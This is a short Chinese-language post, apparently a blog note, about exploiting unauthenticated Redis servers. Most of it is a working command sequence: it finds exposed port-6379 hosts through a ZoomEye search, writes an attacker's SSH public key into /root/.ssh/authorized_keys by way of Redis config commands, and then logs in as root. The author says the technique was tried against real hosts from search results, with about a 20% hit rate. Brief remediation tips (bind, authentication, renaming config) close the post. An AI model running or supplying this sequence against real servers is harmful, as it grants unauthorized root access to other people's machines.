通过zoomeye查找开放6379的IP。
http://www.zoomeye.org/search?q=port%3A6379

$ ssh-keygen –t rsa
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
$ 192.168.1.11:6379> exit
$ ssh –i  id_rsa root@192.168.1.11

利用条件

  1. 首先要确定目标开放了ssh服务
  2. /root/.ssh/或其他的目录有权限访问和写入。

危害

感觉redis这个未授权访问的问题应该已经说了很久了,可以很多服务器还在跑着未授权的redis。
最直接的危害就是数据库的内容了,都可以直接查看。其次大概是可以泄露一些服务器的信息,例如redis的info命令。不过据说好像可以代码执行,因为redis可以执行lua脚本,这样一来就可以借用lua完成一些事情了。

大概测试了一下,跑了zoomeye搜出来的几页结果,命中率大概有20%左右吧,可能更少一点,不过这样的命中率也不算低了。

修复

  1. 限制可以连接Redis服务器的IP,配置bind选项。
  2. 设置认证。
  3. 似乎可以把config命令重命名?不过我觉得这方法有点不太好了。